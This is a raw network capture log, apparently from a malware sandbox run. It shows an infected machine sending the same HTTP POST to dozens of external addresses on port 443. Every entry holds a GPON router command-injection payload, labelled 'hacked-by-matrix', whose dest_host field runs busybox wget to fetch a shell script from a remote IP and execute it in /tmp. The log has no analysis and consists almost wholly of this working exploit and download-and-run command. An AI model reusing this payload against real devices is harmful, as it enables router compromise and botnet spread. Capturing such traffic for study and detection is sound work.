Mar 21, 2024 05:23:17.714497089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.13	34488	42.74.221.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714525938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.13	39928	5.41.172.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714534044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.13	33274	42.96.137.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714607000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.13	52758	109.247.237.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714646101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.13	49564	109.9.138.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714657068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.13	36666	118.188.56.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714728117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.13	60104	5.27.60.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714735031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.13	46830	118.138.58.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.714780092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.13	56088	212.67.252.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715151072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.13	49852	212.9.117.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715152979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.13	48880	5.42.88.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715173006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.13	59904	109.214.51.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715183020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.13	34260	118.84.70.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715189934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.13	39420	42.40.138.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715209007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.13	45114	118.187.245.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715243101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.13	54428	118.19.111.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715265036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.13	42448	109.124.55.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715275049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.13	45510	109.139.103.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715287924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.13	58542	212.100.159.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715287924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.13	39210	212.235.25.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715307951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.13	51796	42.88.137.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715329885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.13	41098	42.16.170.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715374947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.13	48552	109.185.244.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.715382099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.13	52522	5.189.126.13	443

Timestamp	Bytes transferred	Direction	Data
